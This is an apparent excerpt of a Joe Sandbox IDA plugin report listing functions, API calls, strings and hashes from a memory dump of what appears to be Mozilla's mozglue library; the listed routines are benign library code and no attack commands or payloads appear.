??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C5CA0BE
free.MOZGLUE(?,?), ref: 6C5CA0D5
free.MOZGLUE(?,?), ref: 6C5CA0EB

Memory Dump Source

Source File: 00000000.00000002.2605363467.000000006C571000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2605332731.000000006C570000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605471569.000000006C5ED000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605503171.000000006C5FE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605532682.000000006C602000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: free$StampTimeV01@@Value@mozilla@@
String ID:
API String ID: 956590011-0
Opcode ID: 3c0a521053b071d50361b98a2a847b3fbfbc0b1cac23f9696bffeb4b761c13d0
Instruction ID: 1c58fd54f9281fab7fd2758fcc96cd675717fc89fa7c0994e3efa2cbffdf8028
Opcode Fuzzy Hash: 3c0a521053b071d50361b98a2a847b3fbfbc0b1cac23f9696bffeb4b761c13d0
Instruction Fuzzy Hash: F861AF75508641DFC711CF58C88059AB3F5FFC8368F54865DE8999B602E732E986CBC2

Function 6C5CDC50 Relevance: 9.1, APIs: 6, Instructions: 104timethreadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C5CDC60
AcquireSRWLockExclusive.KERNEL32(?,?,?,6C5CD38A,?), ref: 6C5CDC6F
free.MOZGLUE(?,?,?,?,?,6C5CD38A,?), ref: 6C5CDCC1
ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,6C5CD38A,?), ref: 6C5CDCE9
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,6C5CD38A,?), ref: 6C5CDD05
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000001,?,?,?,6C5CD38A,?), ref: 6C5CDD4A

Memory Dump Source

Source File: 00000000.00000002.2605363467.000000006C571000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2605332731.000000006C570000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605471569.000000006C5ED000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605503171.000000006C5FE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605532682.000000006C602000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: ExclusiveLockStampTimeV01@@Value@mozilla@@$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 1842996449-0
Opcode ID: 871ea4401591cee2ca48cd592e434a31b19535299b3d42e320ef06984ac071c3
Instruction ID: 38279fdda76d2548221668cfd3cc93abcc394ca28795b78433b25b52f4152421
Opcode Fuzzy Hash: 871ea4401591cee2ca48cd592e434a31b19535299b3d42e320ef06984ac071c3
Instruction Fuzzy Hash: 8B4147B5B00205CFCB04CF99C880A9AB7B5FF89314B554569D946ABB10DB71EC00CB91

Function 6C5CC810 Relevance: 9.1, APIs: 6, Instructions: 75COMMON

Download Yara Rule

APIs

??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000), ref: 6C5CC82D
??Bid@locale@std@@QAEIXZ.MSVCP140 ref: 6C5CC842

Part of subcall function 6C5CCAF0: ?_Getgloballocale@locale@std@@CAPAV_Locimp@12@XZ.MSVCP140(00000000,00000000,?,6C5EB5EB,00000000), ref: 6C5CCB12

?_Getcat@?$codecvt@DDU_Mbstatet@@@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(?,?,00000000), ref: 6C5CC863
std::_Facet_Register.LIBCPMT ref: 6C5CC875

Part of subcall function 6C5AB13D: ??_U@YAPAXI@Z.MOZGLUE(00000008,?,?,6C5EB636,?), ref: 6C5AB143

??1_Lockit@std@@QAE@XZ.MSVCP140(00000000), ref: 6C5CC89A
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C5CC8BC

Memory Dump Source

Source File: 00000000.00000002.2605363467.000000006C571000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2605332731.000000006C570000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605471569.000000006C5ED000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605503171.000000006C5FE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605532682.000000006C602000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_Bid@locale@std@@Facet_Getcat@?$codecvt@Getgloballocale@locale@std@@Locimp@12@Mbstatet@@@std@@RegisterV42@@Vfacet@locale@2@abortstd::_
String ID:
API String ID: 2745304114-0
Opcode ID: d8181de6534555ec10aa79310ed3581d27d9241b650ec1be1d53626a83550f12
Instruction ID: a513018eb5eb638de877725713d7235a87a10206e73086efbfffc8a60e7f340b
Opcode Fuzzy Hash: d8181de6534555ec10aa79310ed3581d27d9241b650ec1be1d53626a83550f12
Instruction Fuzzy Hash: 0F117C75B00209DBCB04EFA5ECC89AE7BB5EF89254B010129E616D7741DB30A909CFE6

Function 6C5AF440 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 103fileCOMMON

Download Yara Rule

APIs

GetFileInformationByHandle.KERNEL32(00000000,?), ref: 6C5AF480

Part of subcall function 6C57F100: LoadLibraryW.KERNEL32(shell32,?,6C5ED020), ref: 6C57F122
Part of subcall function 6C57F100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6C57F132

CloseHandle.KERNEL32(00000000), ref: 6C5AF555

Part of subcall function 6C5814B0: wcslen.API-MS-WIN-CRT-STRING-L1-1-0(6C581248,6C581248,?), ref: 6C5814C9
Part of subcall function 6C5814B0: memcpy.VCRUNTIME140(?,6C581248,00000000,?,6C581248,?), ref: 6C5814EF

Part of subcall function 6C57EEA0: memcpy.VCRUNTIME140(?,?,?), ref: 6C57EEE3

CreateFileW.KERNEL32 ref: 6C5AF4FD
GetFileInformationByHandle.KERNEL32(00000000), ref: 6C5AF523

Strings

\oleacc.dll, xrefs: 6C5AF4CB

Memory Dump Source

Source File: 00000000.00000002.2605363467.000000006C571000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2605332731.000000006C570000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605471569.000000006C5ED000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605503171.000000006C5FE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605532682.000000006C602000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: FileHandle$Informationmemcpy$AddressCloseCreateLibraryLoadProcwcslen
String ID: \oleacc.dll
API String ID: 2595878907-3839883404
Opcode ID: 87cdf634b4e9232beb801bdfef1960a53180553eb45f87ba90ed7585dfc0ca61
Instruction ID: 111455d6a5ba28dfac3be7a460e062cbc40db4892d9fcb327c3904b888ddf12f
Opcode Fuzzy Hash: 87cdf634b4e9232beb801bdfef1960a53180553eb45f87ba90ed7585dfc0ca61
Instruction Fuzzy Hash: C8419230608710DFE720DF69DC84A9EB7F4AF89318F100B18E6A1C3651EB70D94A8B92

Function 6C5BE020 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 76threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C5B9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C584A68), ref: 6C5B945E
Part of subcall function 6C5B9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C5B9470
Part of subcall function 6C5B9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C5B9482
Part of subcall function 6C5B9420: __Init_thread_footer.LIBCMT ref: 6C5B949F

GetCurrentThreadId.KERNEL32 ref: 6C5BE047
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C5BE04F

Part of subcall function 6C5B94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C5B94EE
Part of subcall function 6C5B94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C5B9508

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C5BE09C
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C5BE0B0

Strings

[I %d/%d] profiler_get_profile, xrefs: 6C5BE057

Memory Dump Source

Source File: 00000000.00000002.2605363467.000000006C571000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2605332731.000000006C570000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605471569.000000006C5ED000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605503171.000000006C5FE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605532682.000000006C602000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: getenv$free$CurrentInit_thread_footerThread__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [I %d/%d] profiler_get_profile
API String ID: 1832963901-4276087706
Opcode ID: 5d10deb1931badeeb1bb449ac4e47ed681592196d0b08c80f5d4a116823c2307
Instruction ID: 5f6ac78d5168ba8071816b60e55a23a2833d4aaf7d056349d2073d2e96b4c822
Opcode Fuzzy Hash: 5d10deb1931badeeb1bb449ac4e47ed681592196d0b08c80f5d4a116823c2307
Instruction Fuzzy Hash: 8621C574B011089FDF04DF65DC68AAEBBB5AF85208F184464ED1AE7740DB71AD09CBE1

Function 6C5D74A0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 72COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32(00000000), ref: 6C5D7526
__Init_thread_footer.LIBCMT ref: 6C5D7566
__Init_thread_footer.LIBCMT ref: 6C5D7597

Strings

UnmapViewOfFile2, xrefs: 6C5D7552
kernel32.dll, xrefs: 6C5D7557

Memory Dump Source

Source File: 00000000.00000002.2605363467.000000006C571000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2605332731.000000006C570000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605471569.000000006C5ED000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605503171.000000006C5FE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605532682.000000006C602000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: Init_thread_footer$ErrorLast
String ID: UnmapViewOfFile2$kernel32.dll
API String ID: 3217676052-1401603581
Opcode ID: 02b8ef6341b232381ca2f02c7ac41e78120d40a37084c97795999092557a88dc
Instruction ID: 26d3c3d90aba36aa7b4fde7b1bd60a57af3336b2aa5dfc8906190ae183c61c11
Opcode Fuzzy Hash: 02b8ef6341b232381ca2f02c7ac41e78120d40a37084c97795999092557a88dc
Instruction Fuzzy Hash: 3F210631702600DBCA199FEEDC54E4977B5EB863A5F060628D425D7F40C731B802CD9E

Function 6C5DA7A0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 43stringCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C5FF770,-00000001,?,6C5EE330,?,6C59BDF7), ref: 6C5DA7AF
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,accelerator.dll,?,6C59BDF7), ref: 6C5DA7C2
moz_xmalloc.MOZGLUE(00000018,?,6C59BDF7), ref: 6C5DA7E4
LeaveCriticalSection.KERNEL32(6C5FF770), ref: 6C5DA80A

Strings

accelerator.dll, xrefs: 6C5DA7BF

Memory Dump Source

Source File: 00000000.00000002.2605363467.000000006C571000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2605332731.000000006C570000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605471569.000000006C5ED000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605503171.000000006C5FE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605532682.000000006C602000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeavemoz_xmallocstrcmp
String ID: accelerator.dll
API String ID: 2442272132-2426294810
Opcode ID: 99a873ea8767ca4d4ca4b419a5485467e0d5ffc955b15b4734d80b5e996cf0d8
Instruction ID: 35195b8e120537d3db64fa4ed885e312d0e19d8f410633ce98cdc66516e5f670
Opcode Fuzzy Hash: 99a873ea8767ca4d4ca4b419a5485467e0d5ffc955b15b4734d80b5e996cf0d8
Instruction Fuzzy Hash: F4018F71601304DF9B08DF59EC84C12BBF8FB89315706856AE919CBB02DB70AC00CFA5

Function 6C5D75B0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C5D748B,?), ref: 6C5D75B8
GetProcAddress.KERNEL32(00000000,RtlNtStatusToDosError), ref: 6C5D75D7
FreeLibrary.KERNEL32(?,6C5D748B,?), ref: 6C5D75EC

Strings

RtlNtStatusToDosError, xrefs: 6C5D75D1
ntdll.dll, xrefs: 6C5D75B3

Memory Dump Source

Source File: 00000000.00000002.2605363467.000000006C571000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2605332731.000000006C570000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605471569.000000006C5ED000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605503171.000000006C5FE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605532682.000000006C602000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: RtlNtStatusToDosError$ntdll.dll
API String ID: 145871493-3641475894
Opcode ID: 800f9de49e85bb21d48d86b2a972d1012d1334470c3212c7c1b8d713c538d077
Instruction ID: dba3b75f32b5bf59c8acdd73ce6299a843cf4b8f4d731c6d54cc941bc01bfe14
Opcode Fuzzy Hash: 800f9de49e85bb21d48d86b2a972d1012d1334470c3212c7c1b8d713c538d077
Instruction Fuzzy Hash: 82E0BF71691301ABDF086FA5EC48701FEF8E746354F124126AA35D1E01DB759046CF1D

Function 6C5D7600 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C5D7592), ref: 6C5D7608
GetProcAddress.KERNEL32(00000000,NtUnmapViewOfSection), ref: 6C5D7627
FreeLibrary.KERNEL32(?,6C5D7592), ref: 6C5D763C

Strings

NtUnmapViewOfSection, xrefs: 6C5D7621
ntdll.dll, xrefs: 6C5D7603

Memory Dump Source

Source File: 00000000.00000002.2605363467.000000006C571000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2605332731.000000006C570000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605471569.000000006C5ED000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605503171.000000006C5FE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605532682.000000006C602000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: NtUnmapViewOfSection$ntdll.dll
API String ID: 145871493-1050664331
Opcode ID: 6c893a1f3282460644e16ef8886602682c1a6d996b5f93000fa66a8429165170
Instruction ID: 86eaf6039c29cc9fc8730f57f029f04c855dc70e35d9197dc1a712e65ac88c33
Opcode Fuzzy Hash: 6c893a1f3282460644e16ef8886602682c1a6d996b5f93000fa66a8429165170
Instruction Fuzzy Hash: CAE0BF706553019BDF086FA5EC08705BEF9E716399F024216EA25D1F40E7B49005CF1C

Function 6C5DBE50 Relevance: 7.7, APIs: 5, Instructions: 163memoryCOMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,?,?,6C5DBE49), ref: 6C5DBEC4
RtlCaptureStackBackTrace.NTDLL ref: 6C5DBEDE
memset.VCRUNTIME140(00000000,00000000,-00000008,?,6C5DBE49), ref: 6C5DBF38
RtlReAllocateHeap.NTDLL ref: 6C5DBF83
RtlFreeHeap.NTDLL(6C5DBE49,00000000), ref: 6C5DBFA6

Memory Dump Source

Source File: 00000000.00000002.2605363467.000000006C571000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2605332731.000000006C570000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605471569.000000006C5ED000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605503171.000000006C5FE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605532682.000000006C602000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: Heapmemset$AllocateBackCaptureFreeStackTrace
String ID:
API String ID: 2764315370-0
Opcode ID: 8cc8fbc1452e49d54ecd6d241ae8d22585e27c64fb71ed817c1e6661d63c28af
Instruction ID: 27e7c7373ced7572923bd23a2eefc793cfa3d258a2f8869e1bbcb3379184e1bc
Opcode Fuzzy Hash: 8cc8fbc1452e49d54ecd6d241ae8d22585e27c64fb71ed817c1e6661d63c28af
Instruction Fuzzy Hash: AE518E71A003068BE714DF68CD80BAAB7A7FFC8314F2A4A29D555A7B54D730F9068B85

Function 6C5C8E00 Relevance: 7.6, APIs: 6, Instructions: 147COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,?,6C5BB58D,?,?,?,?,?,?,?,6C5ED734,?,?,?,6C5ED734), ref: 6C5C8E6E
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,?,6C5BB58D,?,?,?,?,?,?,?,6C5ED734,?,?,?,6C5ED734), ref: 6C5C8EBF
free.MOZGLUE(?,?,?,?,6C5BB58D,?,?,?,?,?,?,?,6C5ED734,?,?,?), ref: 6C5C8F24
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,?,6C5BB58D,?,?,?,?,?,?,?,6C5ED734,?,?,?,6C5ED734), ref: 6C5C8F46
free.MOZGLUE(?,?,?,?,6C5BB58D,?,?,?,?,?,?,?,6C5ED734,?,?,?), ref: 6C5C8F7A
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,6C5BB58D,?,?,?,?,?,?,?,6C5ED734,?,?,?), ref: 6C5C8F8F

Memory Dump Source

Source File: 00000000.00000002.2605363467.000000006C571000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2605332731.000000006C570000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605471569.000000006C5ED000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605503171.000000006C5FE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605532682.000000006C602000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: f8ba625eea36f9ddee7c9e6af95ba3e8e3dc4c1ca382a2fa4fb21f01cc943b24
Instruction ID: 030dd877814e58b35eeab6ebe849773f9a1874836ad5cf68520f9e53d5a69261
Opcode Fuzzy Hash: f8ba625eea36f9ddee7c9e6af95ba3e8e3dc4c1ca382a2fa4fb21f01cc943b24
Instruction Fuzzy Hash: C0517EB1B012168FEB14CFA4DC806AE73B6EB45318F25056ED916AB740E731F905CBA3

Function 6C5C27E0 Relevance: 7.6, APIs: 6, Instructions: 136COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,6C5C2620,?,?,?,6C5B60AA,6C5B5FCB,6C5B79A3), ref: 6C5C284D
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C5C2620,?,?,?,6C5B60AA,6C5B5FCB,6C5B79A3), ref: 6C5C289A
free.MOZGLUE(?,?,?,6C5C2620,?,?,?,6C5B60AA,6C5B5FCB,6C5B79A3), ref: 6C5C28F1
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C5C2620,?,?,?,6C5B60AA,6C5B5FCB,6C5B79A3), ref: 6C5C2910
free.MOZGLUE(00000001,?,?,6C5C2620,?,?,?,6C5B60AA,6C5B5FCB,6C5B79A3), ref: 6C5C293C
free.API-MS-WIN-CRT-HEAP-L1-1-0(00200000,?,?,6C5C2620,?,?,?,6C5B60AA,6C5B5FCB,6C5B79A3), ref: 6C5C294E

Memory Dump Source

Source File: 00000000.00000002.2605363467.000000006C571000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2605332731.000000006C570000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605471569.000000006C5ED000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605503171.000000006C5FE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605532682.000000006C602000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 5491010e65ddd533ec31976031e274440b728e2d195dba0d8b9aea9f1796cacd
Instruction ID: 6d34f395881a1b90bcbaf5369d3e9aa0fc50e5c968aef1d7f74992c8bbfa4107
Opcode Fuzzy Hash: 5491010e65ddd533ec31976031e274440b728e2d195dba0d8b9aea9f1796cacd
Instruction Fuzzy Hash: FA41AEB1B003068BEB14CFA8DC8476A73F6AB45308F25493DD556EB740E771E945CB92

Function 6C57CFE0 Relevance: 7.6, APIs: 4, Strings: 1, Instructions: 134memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C5FE784), ref: 6C57CFF6
LeaveCriticalSection.KERNEL32(6C5FE784), ref: 6C57D026
VirtualAlloc.KERNEL32(00000000,00100000,00001000,00000004), ref: 6C57D06C
VirtualFree.KERNEL32(00000000,00100000,00004000), ref: 6C57D139

Strings

MOZ_CRASH(), xrefs: 6C57D187

Memory Dump Source

Source File: 00000000.00000002.2605363467.000000006C571000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2605332731.000000006C570000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605471569.000000006C5ED000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605503171.000000006C5FE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605532682.000000006C602000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: CriticalSectionVirtual$AllocEnterFreeLeave
String ID: MOZ_CRASH()
API String ID: 1090480015-2608361144
Opcode ID: a6aaef727b55d780e184334e534801c47827e096c080a2e39842d8d3443e30d3
Instruction ID: 82756c2b11c78df33868349eae1f9fe0e6ff07bcba5b04bbc0793a636004adad
Opcode Fuzzy Hash: a6aaef727b55d780e184334e534801c47827e096c080a2e39842d8d3443e30d3
Instruction Fuzzy Hash: 5C411332B022168FDB18CE7D9C9536A36B1EB49710F160139E928E7784E7B16C418FE9

Function 6C574DE0 Relevance: 7.6, APIs: 5, Instructions: 133stringCOMMON

Download Yara Rule

APIs

?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C574E5A
?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6C574E97
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C574EE9
memcpy.VCRUNTIME140(?,?,00000000), ref: 6C574F02
?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?), ref: 6C574F1E

Memory Dump Source

Source File: 00000000.00000002.2605363467.000000006C571000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2605332731.000000006C570000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605471569.000000006C5ED000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605503171.000000006C5FE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605532682.000000006C602000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@CreateRepresentation@$Ascii@DecimalDtoaExponentialMode@12@memcpystrlen
String ID:
API String ID: 713647276-0
Opcode ID: fe96bf8eaf56d3f79fd673fc579414535270d44958ae972d18f17f2d28b3481d
Instruction ID: 6202fee6f66189e8ae5af1c05ebe8d96e3e70bfe434ab29745de8a080f13733b
Opcode Fuzzy Hash: fe96bf8eaf56d3f79fd673fc579414535270d44958ae972d18f17f2d28b3481d
Instruction Fuzzy Hash: A741AC71608705DFC725CF29C88095BBBE8BF89354F108A2DF86587741DB30E998CBA2

Function 6C581530 Relevance: 7.6, APIs: 5, Instructions: 98COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(-00000002,?,6C58152B,?,?,?,?,6C581248,?), ref: 6C58159C
memcpy.VCRUNTIME140(00000023,?,?,?,?,6C58152B,?,?,?,?,6C581248,?), ref: 6C5815BC
moz_xmalloc.MOZGLUE(-00000001,?,6C58152B,?,?,?,?,6C581248,?), ref: 6C5815E7
free.MOZGLUE(?,?,?,?,?,?,6C58152B,?,?,?,?,6C581248,?), ref: 6C581606
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,6C58152B,?,?,?,?,6C581248,?), ref: 6C581637

Memory Dump Source

Source File: 00000000.00000002.2605363467.000000006C571000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2605332731.000000006C570000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605471569.000000006C5ED000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605503171.000000006C5FE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605532682.000000006C602000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: moz_xmalloc$_invalid_parameter_noinfo_noreturnfreememcpy
String ID:
API String ID: 733145618-0
Opcode ID: 5903d9f887eb6fcc597ebaaef6c80abff7a7cc9ec20cf0f1efd1c45b5bd58214
Instruction ID: 467267bffc203f6c23a31681feff13a68b8ebef8c3c5928c7b5b2cf734dd8a9f
Opcode Fuzzy Hash: 5903d9f887eb6fcc597ebaaef6c80abff7a7cc9ec20cf0f1efd1c45b5bd58214
Instruction Fuzzy Hash: 2C31D672A011258BCB18DE78DC9046F77A9FB853647250B6DE873DBBD4EB30D9048B91

Function 6C5DAD70 Relevance: 7.6, APIs: 5, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000000,?,00000000,?,?,6C5EE330,?,6C59C059), ref: 6C5DAD9D

Part of subcall function 6C58CA10: malloc.MOZGLUE(?), ref: 6C58CA26

memset.VCRUNTIME140(00000000,00000000,00000000,00000000,?,?,6C5EE330,?,6C59C059), ref: 6C5DADAC
free.MOZGLUE(?,?,?,?,00000000,?,?,6C5EE330,?,6C59C059), ref: 6C5DAE01
GetLastError.KERNEL32(?,00000000,?,?,6C5EE330,?,6C59C059), ref: 6C5DAE1D
GetLastError.KERNEL32(?,00000000,00000000,00000000,?,?,?,00000000,?,?,6C5EE330,?,6C59C059), ref: 6C5DAE3D

Memory Dump Source

